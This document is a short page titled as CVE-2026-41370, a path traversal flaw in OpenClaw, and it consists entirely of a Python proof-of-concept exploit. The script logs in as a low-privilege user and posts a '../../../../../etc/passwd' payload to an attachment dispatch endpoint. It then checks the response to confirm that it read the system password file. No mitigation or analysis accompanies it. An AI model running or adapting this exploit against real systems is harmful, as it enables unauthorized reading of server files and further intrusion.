CVE-2026-41370 OpenClaw路径遍历漏洞

import requests # Target configuration target_url = "http://target-ip:port" login_endpoint = "/api/login" vulnerable_endpoint = "/acp/dispatch/attachment" # Attacker credentials (low privilege) username = "attacker" password = "password" # Malicious payload using path traversal # Attempting to read /etc/passwd payload_path = "../../../../../etc/passwd" session = requests.Session() # 1. Authenticate to get a valid session login_data = {"username": username, "password": password} response = session.post(target_url + login_endpoint, data=login_data) if response.status_code == 200: # 2. Send payload to vulnerable ACP dispatch endpoint exploit_data = { "channel_id": "1", "attachment_path": payload_path } exploit_response = session.post(target_url + vulnerable_endpoint, data=exploit_data) # 3. Check if file content is returned if "root:" in exploit_response.text: print("[+] Exploit successful! File content retrieved:") print(exploit_response.text) else: print("[-] Exploit failed or target not vulnerable.") else: print("[-] Login failed.")